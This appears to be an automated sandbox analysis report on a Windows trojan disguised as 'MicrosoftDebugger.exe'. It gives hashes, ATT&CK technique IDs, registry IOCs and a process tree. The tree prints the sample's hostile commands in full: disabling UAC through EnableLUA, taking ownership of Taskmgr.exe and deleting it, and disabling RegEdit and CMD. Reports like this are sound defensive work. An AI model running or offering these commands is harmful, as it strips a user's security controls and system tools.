10d6eda28eab6b3c3f3ce1183ddc2ddf39559eaf090d794b95b2c481b25241a5

Resubmissions

11/06/2024, 19:49

240611-yjqwdsyhjh 10

11/06/2024, 19:47

240611-yhy6daygpg 10

Analysis

max time kernel
1s
max time network
7s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
11/06/2024, 19:47

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General

Target

MicrosoftDebugger.exe
Size

101KB
MD5

894aae812eb6f72bbd33c795d4db67fb
SHA1

b6e089caab3470431b18316ffd82ea49783d4a72
SHA256

10d6eda28eab6b3c3f3ce1183ddc2ddf39559eaf090d794b95b2c481b25241a5
SHA512

0ad002903e4d0bf50578630f0dfe7f943632c6562871caa07cd527a19ddf50cb2f888334e6574b3fe39ff176fbb0cda60cb1612c96f91921f0421230503baec1
SSDEEP

3072:pJrwXlyq82c0PTuMqSwNd4IYh5eWBgaQE:HYJy0pqDfE

Score

10^/10

discovery evasion exploit trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Possible privilege escalation attempt 4 IoCs

exploit

pid	Process
4544	icacls.exe
2728	takeown.exe
2272	icacls.exe
3596	takeown.exe

Modifies file permissions 1 TTPs 4 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4544	icacls.exe
2728	takeown.exe
2272	icacls.exe
3596	takeown.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	MicrosoftDebugger.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	MicrosoftDebugger.exe

Modifies registry key 1 TTPs 3 IoCs

Modify Registry

T1112

pid	Process
2076	reg.exe
2580	reg.exe
2124	reg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	3596	takeown.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 3716	3024	MicrosoftDebugger.exe	92
PID 3024 wrote to memory of 3716	3024	MicrosoftDebugger.exe	92
PID 3024 wrote to memory of 3716	3024	MicrosoftDebugger.exe	92
PID 3716 wrote to memory of 2076	3716	cmd.exe	93
PID 3716 wrote to memory of 2076	3716	cmd.exe	93
PID 3716 wrote to memory of 2076	3716	cmd.exe	93
PID 3024 wrote to memory of 3480	3024	MicrosoftDebugger.exe	94
PID 3024 wrote to memory of 3480	3024	MicrosoftDebugger.exe	94
PID 3024 wrote to memory of 3480	3024	MicrosoftDebugger.exe	94
PID 3480 wrote to memory of 3596	3480	cmd.exe	95
PID 3480 wrote to memory of 3596	3480	cmd.exe	95
PID 3480 wrote to memory of 3596	3480	cmd.exe	95
PID 3024 wrote to memory of 856	3024	MicrosoftDebugger.exe	96
PID 3024 wrote to memory of 856	3024	MicrosoftDebugger.exe	96
PID 3024 wrote to memory of 856	3024	MicrosoftDebugger.exe	96
PID 856 wrote to memory of 4544	856	cmd.exe	97
PID 856 wrote to memory of 4544	856	cmd.exe	97
PID 856 wrote to memory of 4544	856	cmd.exe	97
PID 3024 wrote to memory of 916	3024	MicrosoftDebugger.exe	98
PID 3024 wrote to memory of 916	3024	MicrosoftDebugger.exe	98
PID 3024 wrote to memory of 916	3024	MicrosoftDebugger.exe	98
PID 916 wrote to memory of 2728	916	cmd.exe	99
PID 916 wrote to memory of 2728	916	cmd.exe	99
PID 916 wrote to memory of 2728	916	cmd.exe	99
PID 916 wrote to memory of 2272	916	cmd.exe	100
PID 916 wrote to memory of 2272	916	cmd.exe	100
PID 916 wrote to memory of 2272	916	cmd.exe	100
PID 3024 wrote to memory of 3780	3024	MicrosoftDebugger.exe	101
PID 3024 wrote to memory of 3780	3024	MicrosoftDebugger.exe	101
PID 3024 wrote to memory of 3780	3024	MicrosoftDebugger.exe	101
PID 3780 wrote to memory of 2580	3780	cmd.exe	102
PID 3780 wrote to memory of 2580	3780	cmd.exe	102
PID 3780 wrote to memory of 2580	3780	cmd.exe	102
PID 3024 wrote to memory of 2212	3024	MicrosoftDebugger.exe	103
PID 3024 wrote to memory of 2212	3024	MicrosoftDebugger.exe	103
PID 3024 wrote to memory of 2212	3024	MicrosoftDebugger.exe	103
PID 2212 wrote to memory of 2124	2212	cmd.exe	104
PID 2212 wrote to memory of 2124	2212	cmd.exe	104
PID 2212 wrote to memory of 2124	2212	cmd.exe	104

C:\Users\Admin\AppData\Local\Temp\MicrosoftDebugger.exe
"C:\Users\Admin\AppData\Local\Temp\MicrosoftDebugger.exe"
1⤵
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3716
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    - Modifies registry key
    PID:2076
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /F "C:\Windows\System32\Taskmgr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3480
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Windows\System32\Taskmgr.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3596
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\System32\Taskmgr.exe" /grant "%USERNAME%":(F)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:856
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Windows\System32\Taskmgr.exe" /grant "Admin":(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4544
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /F "C:\Windows\System32\Taskmgr.exe" && icacls "C:\Windows\System32\Taskmgr.exe" /grant "%USERNAME%":(F) && del /F /Q "C:\Windows\System32\Taskmgr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:916
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Windows\System32\Taskmgr.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2728
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Windows\System32\Taskmgr.exe" /grant "Admin":(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2272
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3780
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - Disables RegEdit via registry modification
    - Modifies registry key
    PID:2580
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c REG ADD HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\SysWOW64\reg.exe
    REG ADD HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry key
    PID:2124